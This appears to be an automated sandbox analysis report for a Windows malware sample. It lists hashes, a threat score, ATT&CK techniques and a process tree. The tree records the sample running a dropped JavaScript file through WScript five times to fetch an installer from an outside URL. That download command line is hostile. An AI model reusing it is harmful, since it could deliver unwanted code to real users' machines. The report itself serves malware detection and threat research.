0fbd0b1f616c5ad5d2ca0c14ef41fa18dc01e290abed4048944e04708b5d3711

General

Target
a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe
Size 184KB
Sample240612-w4rx3syerm
SHA256 0fbd0b1f616c5ad5d2ca0c14ef41fa18dc01e290abed4048944e04708b5d3711
MD5 a1be3ac1ee943c017c5088e5e1a9cd7f
SHA1 60674ddccace639b60688dd7d4a1d9cd0c63227a
SHA512 438a2b6c22427a6d9cb5a8b8e07ba3f4c4b52c39fe851403af161aec94cc0c16f24d603da87fcf9ac90387e5cd1392836d92cbd85c68414f1721ca0dc105a13e
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3US:/7BSH8zUB+nGESaaRvoB7FJNndntS
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
6	3340	WScript.exe
20	1180	WScript.exe
23	3848	WScript.exe
39	3600	WScript.exe
47	2824	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 3340	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	92
PID 2648 wrote to memory of 3340	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	92
PID 2648 wrote to memory of 3340	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	92
PID 2648 wrote to memory of 1180	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	94
PID 2648 wrote to memory of 1180	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	94
PID 2648 wrote to memory of 1180	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	94
PID 2648 wrote to memory of 3848	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	95
PID 2648 wrote to memory of 3848	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	95
PID 2648 wrote to memory of 3848	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	95
PID 2648 wrote to memory of 3600	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	98
PID 2648 wrote to memory of 3600	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	98
PID 2648 wrote to memory of 3600	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	98
PID 2648 wrote to memory of 2824	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	103
PID 2648 wrote to memory of 2824	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	103
PID 2648 wrote to memory of 2824	2648	a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe	103

C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe
  2⤵
  - Blocklisted process makes network request
  PID:3340
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe
  2⤵
  - Blocklisted process makes network request
  PID:1180
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe
  2⤵
  - Blocklisted process makes network request
  PID:3848
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe
  2⤵
  - Blocklisted process makes network request
  PID:3600
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe
  2⤵
  - Blocklisted process makes network request
  PID:2824

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=2816,i,6522675234395427298,2952738987384583032,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:8
1⤵
PID:332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

fuf3524.js

Path C:\Users\Admin\AppData\Local\Temp\fuf3524.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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memory/2824-4-0x0000000073FF0000-0x0000000074002000-memory.dmp

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Analysis

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